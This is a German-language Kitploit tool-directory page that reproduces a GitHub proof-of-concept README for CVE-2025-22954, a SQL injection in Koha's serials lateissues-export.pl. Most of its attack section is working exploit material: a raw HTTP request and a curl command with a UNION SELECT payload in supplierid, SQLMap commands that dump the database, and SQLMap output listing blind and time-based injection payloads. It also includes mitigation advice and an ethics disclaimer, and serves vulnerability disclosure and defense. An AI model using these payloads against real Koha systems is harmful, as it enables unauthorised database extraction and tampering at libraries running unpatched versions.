Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: SQL-Injection in lateissues-export.pl | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2025-22954
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: SQL-Injection in lateissues-export.pl

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Koha CVE-2025-22954: SQL-Injection in lateissues-export.pl

Überblick

Dieses Repository enthält einen Proof of Concept für CVE-2025-22954, eine SQL-Injection-Sicherheitslücke mit kritischem Schweregrad (CVSS 10.0) in Koha vor Version 24.11.02. Die Schwachstelle existiert in der Funktion GetLateOrMissingIssues in C4/Serials.pm, die vom Skript /serials/lateissues-export.pl aufgerufen wird. Die Schwachstelle kann über die Parameter supplierid oder serialid ausgenutzt werden.

CVE IDCVE-2025-22954
CVSS v310.0 (Kritisch)
EPSS Score0.03% (Top 5.26%)
Veröffentlicht12. März 2025
Behoben inKoha 24.11.02
FehlerberichtKoha Bug #38829
VersionshinweiseKoha 24.11.02 Release

Details zur Schwachstelle

Die Schwachstelle geht auf unsichere Handhabung von Benutzereingaben in den Parametern supplierid und serialid im Skript lateissues-export.pl zurück, die an die Funktion GetLateOrMissingIssues in C4/Serials.pm übergeben werden. Die Funktion bereinigt oder parametrisiert diese Eingaben nicht ordnungsgemäß, bevor sie in SQL-Abfragen verwendet werden, was SQL-Injection-Angriffe ermöglicht.

Betroffener Code

Das anfällige Skript (lateissues-export.pl) enthält den folgenden Code:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

Die Funktion GetLateOrMissingIssues in C4/Serials.pm enthält wahrscheinlich eine anfällige SQL-Abfragekonstruktion, bei der die Parameter $supplierid und $serialid ohne ordnungsgemäße Parametrisierung direkt in SQL-Anweisungen eingefügt werden.

Proof of Concept

Dieser Proof of Concept zeigt, wie ein authentifizierter Benutzer mit Zugriff auf das Serials-Modul diese Schwachstelle ausnutzen kann, um vertrauliche Daten aus der Koha-Datenbank zu extrahieren oder möglicherweise unbefugten Zugriff auf das zugrunde liegende Datenbanksystem zu erlangen.

Voraussetzungen

  • Eine anfällige Koha-Instanz (vor 24.11.02)
  • Zugriff auf das Skript lateissues-export.pl

Ausnutzungsmethode

HTTP-Request-Methode

Die folgende rohe HTTP-Anfrage kann verwendet werden, um die Schwachstelle auszunutzen:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Verwendung von curl

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

Verwendung von SQLMap

SQLMap kann verwendet werden, um die Ausnutzung dieser Schwachstelle zu automatisieren. Erfassen Sie zunächst eine Anfrage an den anfälligen Endpunkt mit gültigen Authentifizierungs-Cookies und nutzen Sie dann SQLMap, um den Injektionspunkt auszunutzen.

root@kitploit:~
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

Beispiel für eine request.txt-Datei:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Sie können die Schwachstelle auch direkt mit SQLMap ausnutzen:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

Auswirkungen

Diese Schwachstelle ermöglicht es einem authentifizierten Angreifer:

  1. Vertrauliche Informationen aus der Datenbank extrahieren
  2. Daten in der Datenbank ändern
  3. Potenziell beliebige Befehle auf dem Datenbankserver ausführen
  4. Potenziell Zugriff auf das zugrunde liegende Betriebssystem erlangen

Gegenmaßnahmen

Aktualisieren Sie auf Koha Version 24.11.02 oder höher, die einen Fix für diese Schwachstelle enthält.

Wenn ein sofortiges Update nicht möglich ist, sollten Sie die folgenden temporären Gegenmaßnahmen in Betracht ziehen:

  1. Beschränken Sie den Zugriff auf das Skript /serials/lateissues-export.pl auf vertrauenswürdige IP-Adressen
  2. Implementieren Sie eine Web Application Firewall (WAF)-Regel, um potenziell schädliche Anfragen an diesen Endpunkt zu blockieren
  3. Ändern Sie die Datei C4/Serials.pm, um SQL-Abfragen in der Funktion GetLateOrMissingIssues ordnungsgemäß zu parametrisieren

Ethische Überlegungen

Dieser Proof of Concept wird nur zu Bildungs- und Verteidigungszwecken bereitgestellt. Holen Sie stets die erforderliche Genehmigung ein, bevor Sie ein System auf Schwachstellen testen.

Haftungsausschluss

Der Autor übernimmt keine Verantwortung für Missbrauch dieser Informationen. Dieser Proof of Concept sollte nur auf Systemen verwendet werden, die Ihnen gehören oder für die Sie ausdrückliche Testberechtigung haben.

Tool herunterladen